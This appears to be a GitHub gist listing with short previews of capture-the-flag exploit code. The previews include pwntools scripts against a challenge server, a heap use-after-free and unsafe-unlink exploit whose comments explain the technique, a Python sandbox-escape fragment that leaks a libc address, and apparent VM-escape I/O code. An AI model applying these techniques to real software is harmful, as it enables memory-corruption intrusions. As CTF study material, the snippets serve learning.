This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| struct Template { | |
| int64_t data_64; | |
| int32_t data_32; | |
| int16_t data_16; | |
| char data_char; | |
| } value { | |
| // the x'es get instructions written onto them | |
| // notice that those instructions are nops | |
| //xxxxxx |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import idaapi | |
| import idc | |
| class HexJumpHandler(idaapi.action_handler_t): | |
| def activate(self, ctx): | |
| selection = idaapi.read_selection() | |
| valid_selection = selection[0] | |
| if (valid_selection): | |
| addr = idc.DbgDword(selection[1]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <windows.h> | |
| #include "peconv.h" | |
| const size_t g_flagLen = 26; | |
| char g_flag[g_flagLen + 1] = { 0 }; | |
| int my_index() | |
| { | |
| static int index = 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package com.basicsec.demoweb | |
| import io.jsonwebtoken.Jwts | |
| import io.vertx.core.AbstractVerticle | |
| import io.vertx.core.Vertx | |
| import io.vertx.core.json.JsonObject | |
| class MainVerticle : AbstractVerticle() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # Author : peternguyen | |
| from Pwn import * | |
| # p = Pwn(mode=1,port=8887) | |
| p = Pwn(mode=1,host='52.193.196.17',port=56746) | |
| def select(op): | |
| p.read_until('Your choice: ') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python2 | |
| # -*- coding: utf-8 -*- | |
| # The 300 challenge was a heap challenge that allowed you to make allocations of size 0x300. | |
| # You could free allocations and read/write to them even after they got freed. | |
| # The tricky part about the challenge was that you don't control the size and can't for example use the usual fastbin techniques. | |
| # This exploit overwrites the check_action variable so that the libc doesn't abort on errors anymore. | |
| # Afterwards we can get a write-what-where primitive using unsafe unlink. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # import Collection | |
| bytearray = ().__class__.__base__.__subclasses__()[5] | |
| def p64(addr): | |
| x = '{0:016x}'.format(addr) | |
| return bytearray.fromhex(x)[::-1] | |
| b = Collection.Collection({'1':0x1337}) | |
| libc_base = id(b) + 0xe27198 - 0x13e0dd0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #define chunksize 0x8 | |
| #define fakesize 0x20 | |
| #define SIZE_SZ (sizeof(size_t)) | |
| #define MALLOC_ALIGN_MASK (2*SIZE_SZ - 1) | |
| #define MIN_CHUNK_SIZE 24 /* 64 bit system */ | |
| //#define MIN_CHUNK_SIZE 12 /* 32 bit system */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdint.h> | |
| #include <sys/io.h> | |
| #include <unistd.h> | |
| #include <stdio.h> | |
| #include <fcntl.h> | |
| #include <sys/mman.h> | |
| #include <string.h> | |
| #include <assert.h> | |
| #include "virt_to_phys.c" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| from pwn import * | |
| context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
| # context(terminal=['tmux', 'new-window']) # open new window | |
| # libc = ELF('') | |
| elf = ELF('./speedrun-012') | |
| context(os='linux', arch=elf.arch) | |
| context(log_level='debug') # output verbose log |
OlderNewer